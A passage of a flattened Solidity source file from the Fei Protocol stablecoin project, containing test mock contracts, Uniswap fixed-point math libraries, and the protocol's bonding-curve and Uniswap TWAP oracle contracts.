pragma experimental ABIEncoderV2;
contract MockIncentive is IIncentive, CoreRef {
constructor(address core)
CoreRef(core)
public {}
uint256 constant private INCENTIVE = 100;
function incentivize(
address sender,
address receiver,
address spender,
uint256 amountIn
) public override {
fei().mint(sender, INCENTIVE);
}
}
// File contracts/fei-protocol/mock/MockOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockOracle is IOracle {
using Decimal for Decimal.D256;
// fixed exchange ratio
uint256 _usdPerEth;
bool public override killSwitch;
bool public updated;
bool public valid = true;
constructor(uint256 usdPerEth) public {
_usdPerEth = usdPerEth;
}
function update() public override returns (bool) {
updated = true;
return true;
}
function read() public view override returns (Decimal.D256 memory, bool) {
Decimal.D256 memory price = Decimal.from(_usdPerEth);
return (price, valid);
}
function setValid(bool isValid) public {
valid = isValid;
}
function setExchangeRate(uint256 usdPerEth) public {
_usdPerEth = usdPerEth;
}
function setKillSwitch(bool _killSwitch) public override {
killSwitch = _killSwitch;
}
}
// File contracts/fei-protocol/mock/MockOrchestrator.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockBCO {
Decimal.D256 public initPrice;
function init(Decimal.D256 memory price) public {
initPrice = price;
}
}
contract MockPool {
function init() public {}
}
contract MockOrchestrator {
address public bondingCurveOracle;
address public pool;
constructor() public {
bondingCurveOracle = address(new MockBCO());
pool = address(new MockPool());
}
function launchGovernance() external {}
}
// File contracts/fei-protocol/mock/MockRouter.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockRouter {
using SafeMath for uint256;
using Decimal for Decimal.D256;
IMockUniswapV2PairLiquidity private PAIR;
address public WETH;
constructor(address pair) public {
PAIR = IMockUniswapV2PairLiquidity(pair);
}
uint256 private totalLiquidity;
uint256 private constant LIQUIDITY_INCREMENT = 10000;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity) {
address pair = address(PAIR);
amountToken = amountTokenDesired;
amountETH = msg.value;
liquidity = LIQUIDITY_INCREMENT;
(uint112 reserves0, uint112 reserves1, ) = PAIR.getReserves();
IERC20(token).transferFrom(to, pair, amountToken);
PAIR.mintAmount{value: amountETH}(to, LIQUIDITY_INCREMENT);
totalLiquidity += LIQUIDITY_INCREMENT;
uint112 newReserve0 = uint112(reserves0) + uint112(amountETH);
uint112 newReserve1 = uint112(reserves1) + uint112(amountToken);
PAIR.setReserves(newReserve0, newReserve1);
}
function addLiquidity(
address token0,
address token1,
uint amountToken0Desired,
uint amountToken1Desired,
uint amountToken0Min,
uint amountToken1Min,
address to,
uint deadline
) external returns (uint amountToken0, uint amountToken1, uint liquidity) {
address pair = address(PAIR);
liquidity = LIQUIDITY_INCREMENT;
IERC20(token0).transferFrom(to, pair, amountToken0Desired);
IERC20(token1).transferFrom(to, pair, amountToken1Desired);
PAIR.mintAmount(to, LIQUIDITY_INCREMENT);
}
function setWETH(address weth) public {
WETH = weth;
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH) {
Decimal.D256 memory percentWithdrawal = Decimal.ratio(liquidity, totalLiquidity);
Decimal.D256 memory ratio = ratioOwned(to);
(amountETH, amountToken) = PAIR.burnEth(to, ratio.mul(percentWithdrawal));
(uint112 reserves0, uint112 reserves1, ) = PAIR.getReserves();
uint112 newReserve0 = uint112(reserves0) - uint112(amountETH);
uint112 newReserve1 = uint112(reserves1) - uint112(amountToken);
PAIR.setReserves(newReserve0, newReserve1);
transferLiquidity(liquidity);
}
function transferLiquidity(uint liquidity) internal {
PAIR.transferFrom(msg.sender, address(PAIR), liquidity); // send liquidity to pair
}
function ratioOwned(address to) public view returns (Decimal.D256 memory) {
uint256 balance = PAIR.balanceOf(to);
uint256 total = PAIR.totalSupply();
return Decimal.ratio(balance, total);
}
}
// File contracts/fei-protocol/mock/MockSettableCore.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockSettableCore is Core {
// anyone can set any role
function isGovernor(address _address) public view override returns (bool) {
return true;
}
}
// File contracts/fei-protocol/mock/MockTribe.sol
pragma solidity ^0.6.0;
contract MockTribe is MockERC20 {
function delegate(address account) external {}
}
// File contracts/fei-protocol/mock/MockUniswapIncentive.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockUniswapIncentive is MockIncentive {
constructor(address core)
MockIncentive(core)
public {}
bool isParity = false;
bool isExempt = false;
function isIncentiveParity() external view returns (bool) {
return isParity;
}
function setIncentiveParity(bool _isParity) public {
isParity = _isParity;
}
function isExemptAddress(address account) public returns (bool) {
return isExempt;
}
function setExempt(bool exempt) public {
isExempt = exempt;
}
function updateOracle() external returns(bool) {
return true;
}
function setExemptAddress(address account, bool isExempt) external {}
function getBuyIncentive(uint amount) external returns(uint,
uint32 weight,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation
) {
return (amount * 10 / 100, weight, initialDeviation, finalDeviation);
}
function getSellPenalty(uint amount) external returns(uint,
Decimal.D256 memory initialDeviation,
Decimal.D256 memory finalDeviation)
{
return (amount * 10 / 100, initialDeviation, finalDeviation);
}
}
// File @uniswap/lib/contracts/libraries/[email protected]
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
// File @uniswap/lib/contracts/libraries/[email protected]
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.5.0;
library BitMath {
// returns the 0 indexed position of the most significant bit of the input x
// s.t. x >= 2**msb and x < 2**(msb+1)
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
// returns the 0 indexed position of the least significant bit of the input x
// s.t. (x & 2**lsb) != 0 and (x & (2**(lsb) - 1)) == 0)
// i.e. the bit at the index is set and the mask of all lower bits is 0
function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::leastSignificantBit: zero');
r = 255;
if (x & uint128(-1) > 0) {
r -= 128;
} else {
x >>= 128;
}
if (x & uint64(-1) > 0) {
r -= 64;
} else {
x >>= 64;
}
if (x & uint32(-1) > 0) {
r -= 32;
} else {
x >>= 32;
}
if (x & uint16(-1) > 0) {
r -= 16;
} else {
x >>= 16;
}
if (x & uint8(-1) > 0) {
r -= 8;
} else {
x >>= 8;
}
if (x & 0xf > 0) {
r -= 4;
} else {
x >>= 4;
}
if (x & 0x3 > 0) {
r -= 2;
} else {
x >>= 2;
}
if (x & 0x1 > 0) r -= 1;
}
}
// File @uniswap/lib/contracts/libraries/[email protected]
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 public constant RESOLUTION = 112;
uint256 public constant Q112 = 0x10000000000000000000000000000; // 2**112
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; // 2**224
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow');
return uq144x112(z);
}
// multiply a UQ112x112 by an int and decode, returning an int
// reverts on overflow
function muli(uq112x112 memory self, int256 y) internal pure returns (int256) {
uint256 z = FullMath.mulDiv(self._x, uint256(y < 0 ? -y : y), Q112);
require(z < 2**255, 'FixedPoint::muli: overflow');
return y < 0 ? -int256(z) : int256(z);
}
// multiply a UQ112x112 by a UQ112x112, returning a UQ112x112
// lossy
function muluq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
if (self._x == 0 || other._x == 0) {
return uq112x112(0);
}
uint112 upper_self = uint112(self._x >> RESOLUTION); // * 2^0
uint112 lower_self = uint112(self._x & LOWER_MASK); // * 2^-112
uint112 upper_other = uint112(other._x >> RESOLUTION); // * 2^0
uint112 lower_other = uint112(other._x & LOWER_MASK); // * 2^-112
// partial products
uint224 upper = uint224(upper_self) * upper_other; // * 2^0
uint224 lower = uint224(lower_self) * lower_other; // * 2^-224
uint224 uppers_lowero = uint224(upper_self) * lower_other; // * 2^-112
uint224 uppero_lowers = uint224(upper_other) * lower_self; // * 2^-112
// so the bit shift does not overflow
require(upper <= uint112(-1), 'FixedPoint::muluq: upper overflow');
// this cannot exceed 256 bits, all values are 224 bits
uint256 sum = uint256(upper << RESOLUTION) + uppers_lowero + uppero_lowers + (lower >> RESOLUTION);
// so the cast does not overflow
require(sum <= uint224(-1), 'FixedPoint::muluq: sum overflow');
return uq112x112(uint224(sum));
}
// divide a UQ112x112 by a UQ112x112, returning a UQ112x112
function divuq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) {
require(other._x > 0, 'FixedPoint::divuq: division by zero');
if (self._x == other._x) {
return uq112x112(uint224(Q112));
}
if (self._x <= uint144(-1)) {
uint256 value = (uint256(self._x) << RESOLUTION) / other._x;
require(value <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(value));
}
uint256 result = FullMath.mulDiv(Q112, self._x, other._x);
require(result <= uint224(-1), 'FixedPoint::divuq: overflow');
return uq112x112(uint224(result));
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// can be lossy
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// take the reciprocal of a UQ112x112
// reverts on overflow
// lossy
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint::reciprocal: reciprocal of zero');
require(self._x != 1, 'FixedPoint::reciprocal: overflow');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// File contracts/fei-protocol/mock/MockUniswapV2PairLiquidity.sol
/*
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockUniswapV2PairLiquidity is IUniswapV2Pair {
using SafeMath for uint256;
using Decimal for Decimal.D256;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint256 private liquidity;
address public override token0;
address public override token1;
constructor(address _token0, address _token1) public {
token0 = _token0;
token1 = _token1;
}
function getReserves() external view override returns (uint112, uint112, uint32) {
return (reserve0, reserve1, 0);
}
function mint(address to) public override returns (uint) {
_mint(to, liquidity);
return liquidity;
}
function mintAmount(address to, uint256 _liquidity) public payable {
_mint(to, _liquidity);
}
function set(uint112 newReserve0, uint112 newReserve1, uint256 newLiquidity) external payable {
reserve0 = newReserve0;
reserve1 = newReserve1;
liquidity = newLiquidity;
mint(msg.sender);
}
function setReserves(uint112 newReserve0, uint112 newReserve1) external {
reserve0 = newReserve0;
reserve1 = newReserve1;
}
function faucet(address account, uint256 amount) external returns (bool) {
_mint(account, amount);
return true;
}
function burnEth(address to, Decimal.D256 memory ratio) public returns(uint256 amountEth, uint256 amount1) {
uint256 balanceEth = address(this).balance;
amountEth = ratio.mul(balanceEth).asUint256();
payable(to).transfer(amountEth);
uint256 balance1 = reserve1;
amount1 = ratio.mul(balance1).asUint256();
IERC20(token1).transfer(to, amount1);
}
function withdrawFei(address to, uint256 amount) public {
IERC20(token1).transfer(to, amount);
}
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external override {
// No - op;
}
/**
* Should not use
*/
function name() external pure override returns (string memory) { return "Uniswap V2"; }
function symbol() external pure override returns (string memory) { return "UNI-V2"; }
function decimals() external pure override returns (uint8) { return 18; }
function DOMAIN_SEPARATOR() external view override returns (bytes32) { revert("Should not use"); }
function PERMIT_TYPEHASH() external pure override returns (bytes32) { revert("Should not use"); }
function nonces(address owner) external view override returns (uint) { revert("Should not use"); }
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { revert("Should not use"); }
function MINIMUM_LIQUIDITY() external pure override returns (uint) { revert("Should not use"); }
function factory() external view override returns (address) { revert("Should not use"); }
function price0CumulativeLast() external view override returns (uint) { revert("Should not use"); }
function price1CumulativeLast() external view override returns (uint) { revert("Should not use"); }
function kLast() external view override returns (uint) { revert("Should not use"); }
function skim(address to) external override { revert("Should not use"); }
function sync() external override { revert("Should not use"); }
function burn(address to) external override returns (uint amount0, uint amount1) { revert("Should not use"); }
function initialize(address, address) external override { revert("Should not use"); }
// @openzeppelin/contracts/token/ERC20/ERC20.sol
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// File contracts/fei-protocol/mock/MockUniswapV2PairTrade.sol
pragma solidity ^0.6.0;
contract MockUniswapV2PairTrade {
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint112 public reserve0;
uint112 public reserve1;
uint32 public blockTimestampLast;
constructor(
uint _price0CumulativeLast,
uint _price1CumulativeLast,
uint32 _blockTimestampLast,
uint112 r0,
uint112 r1
) public {
set(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast);
setReserves(r0, r1);
}
function getReserves() public view returns(uint112, uint112, uint32) {
return (reserve0, reserve1, blockTimestampLast);
}
function simulateTrade(uint112 newReserve0, uint112 newReserve1, uint32 blockTimestamp) external {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
if (timeElapsed > 0 && reserve0 != 0 && reserve1 != 0) {
price0CumulativeLast += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
price1CumulativeLast += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
reserve0 = newReserve0;
reserve1 = newReserve1;
blockTimestampLast = blockTimestamp;
}
function set(uint _price0CumulativeLast, uint _price1CumulativeLast, uint32 _blockTimestampLast) public {
price0CumulativeLast = _price0CumulativeLast;
price1CumulativeLast = _price1CumulativeLast;
blockTimestampLast = _blockTimestampLast;
}
function setReserves(uint112 r0, uint112 r1) public {
reserve0 = r0;
reserve1 = r1;
}
}
// File contracts/fei-protocol/mock/MockWeth.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract MockWeth is MockERC20 {
constructor() public {}
function deposit() external payable {
mint(msg.sender, msg.value);
}
function withdraw(uint amount) external payable {
_burn(msg.sender, amount);
_msgSender().transfer(amount);
}
}
// File contracts/fei-protocol/mock/RootsWrapper.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract RootsWrapper {
using Roots for uint;
function cubeRoot(uint x) public pure returns (uint) {
return x.cubeRoot();
}
function twoThirdsRoot(uint x) public pure returns (uint) {
return x.twoThirdsRoot();
}
function sqrt(uint x) public pure returns (uint) {
return x.sqrt();
}
}
// File contracts/fei-protocol/oracle/BondingCurveOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IBondingCurveOracle implementation contract
/// @author Fei Protocol
/// @notice includes "thawing" on the initial purchase price at genesis. Time weights price from initial to true peg over a window.
contract BondingCurveOracle is IBondingCurveOracle, CoreRef, Timed {
using Decimal for Decimal.D256;
IOracle public override uniswapOracle;
IBondingCurve public override bondingCurve;
bool public override killSwitch = true;
/// @notice the price in dollars at initialization
/// @dev this price will "thaw" to the peg price over `duration` window
Decimal.D256 public initialPrice;
event KillSwitchUpdate(bool _killSwitch);
/// @notice BondingCurveOracle constructor
/// @param _core Fei Core to reference
/// @param _oracle Uniswap Oracle to report from
/// @param _bondingCurve Bonding curve to report from
/// @param _duration price thawing duration
constructor(
address _core,
address _oracle,
address _bondingCurve,
uint32 _duration
) public CoreRef(_core) Timed(_duration) {
uniswapOracle = IOracle(_oracle);
bondingCurve = IBondingCurve(_bondingCurve);
}
function update() external override returns (bool) {
return uniswapOracle.update();
}
function read() external view override returns (Decimal.D256 memory, bool) {
if (killSwitch) {
return (Decimal.zero(), false);
}
(Decimal.D256 memory peg, bool valid) = getOracleValue();
return (thaw(peg), valid);
}
function setKillSwitch(bool _killSwitch) external override onlyGovernor {
killSwitch = _killSwitch;
emit KillSwitchUpdate(_killSwitch);
}
function init(Decimal.D256 memory _initialPrice) public override onlyGenesisGroup {
killSwitch = false;
initialPrice = _initialPrice;
_initTimed();
}
function thaw(Decimal.D256 memory peg) internal view returns (Decimal.D256 memory) {
if (isTimeEnded()) {
return peg;
}
uint t = uint(timestamp());
uint remaining = uint(remainingTime());
uint d = uint(duration);
(Decimal.D256 memory uniswapPeg,) = uniswapOracle.read();
Decimal.D256 memory price = uniswapPeg.div(peg);
Decimal.D256 memory weightedPrice = initialPrice.mul(remaining).add(price.mul(t)).div(d);
return uniswapPeg.div(weightedPrice);
}
function getOracleValue() internal view returns(Decimal.D256 memory, bool) {
if (bondingCurve.atScale()) {
return uniswapOracle.read();
}
return (bondingCurve.getCurrentPrice(), true);
}
}
// File contracts/fei-protocol/oracle/IUniswapOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Uniswap oracle interface for Fei Protocol
/// @author Fei Protocol
/// @notice maintains the TWAP of a uniswap pair contract over a specified duration
interface IUniswapOracle is IOracle {
// ----------- Events -----------
event DurationUpdate(uint32 _duration);
// ----------- Governor only state changing API -----------
/// @notice set a new duration for the TWAP window
function setDuration(uint32 _duration) external;
// ----------- Getters -----------
/// @notice the previous timestamp of the oracle snapshot
function priorTimestamp() external returns(uint32);
/// @notice the previous cumulative price of the oracle snapshot
function priorCumulative() external returns(uint);
/// @notice the window over which the initial price will "thaw" to the true peg price
function duration() external returns(uint32);
/// @notice the referenced uniswap pair contract
function pair() external returns(IUniswapV2Pair);
}
// File @uniswap/v2-periphery/contracts/libraries/[email protected]
pragma solidity >=0.5.0;
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// File contracts/fei-protocol/oracle/UniswapOracle.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// Referencing Uniswap Example Simple Oracle
// https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleOracleSimple.sol
/// @title IUniswapOracle implementation contract
/// @author Fei Protocol
contract UniswapOracle is IUniswapOracle, CoreRef {
using Decimal for Decimal.D256;
IUniswapV2Pair public override pair;
bool private isPrice0;
uint public override priorCumulative;
uint32 public override priorTimestamp;
Decimal.D256 private twap = Decimal.zero();
uint32 public override duration;
bool public override killSwitch;
/// @notice UniswapOracle constructor
/// @param _core Fei Core for reference
/// @param _pair Uniswap Pair to provide TWAP
/// @param _duration TWAP duration
/// @param _isPrice0 flag for using token0 or token1 for cumulative on Uniswap
constructor(
address _core,
address _pair,
uint32 _duration,
bool _isPrice0
) public CoreRef(_core) {
pair = IUniswapV2Pair(_pair);
// Relative to USD per ETH price
isPrice0 = _isPrice0;
duration = _duration;
_init();
}
function update() external override returns (bool) {
(uint price0Cumulative, uint price1Cumulative, uint32 currentTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 deltaTimestamp = currentTimestamp - priorTimestamp;
if(currentTimestamp <= priorTimestamp || deltaTimestamp < duration) {
return false;
}
uint currentCumulative = _getCumulative(price0Cumulative, price1Cumulative);
uint deltaCumulative = (currentCumulative - priorCumulative) / 1e12;
Decimal.D256 memory _twap = Decimal.ratio(2**112, deltaCumulative / deltaTimestamp);
twap = _twap;
priorTimestamp = currentTimestamp;
priorCumulative = currentCumulative;
emit Update(_twap.asUint256());
return true;
}
function read() external view override returns (Decimal.D256 memory, bool) {
bool valid = !(killSwitch || twap.isZero());
return (twap, valid);
}
function setKillSwitch(bool _killSwitch) external override onlyGovernor {
killSwitch = _killSwitch;
emit KillSwitchUpdate(_killSwitch);
}
function setDuration(uint32 _duration) external override onlyGovernor {
duration = _duration;
emit DurationUpdate(_duration);
}
function _init() internal {
uint price0Cumulative = pair.price0CumulativeLast();
uint price1Cumulative = pair.price1CumulativeLast();
(,, uint32 currentTimestamp) = pair.getReserves();
priorTimestamp = currentTimestamp;
priorCumulative = _getCumulative(price0Cumulative, price1Cumulative);
}
function _getCumulative(uint price0Cumulative, uint price1Cumulative) internal view returns (uint) {
return isPrice0 ? price0Cumulative : price1Cumulative;
}
}
// File contracts/fei-protocol/orchestration/BondingCurveOrchestrator.sol
pragma solidity ^0.6.0;
contract BondingCurveOrchestrator is Ownable {
function init(
address core,
address uniswapOracle,
address ethUniswapPCVDeposit,
uint scale,
uint32 thawingDuration,
uint32 bondingCurveIncentiveDuration,
uint bondingCurveIncentiveAmount
) public onlyOwner returns(
address ethBondingCurve,
address bondingCurveOracle
) {
uint[] memory ratios = new uint[](1);
ratios[0] = 10000;
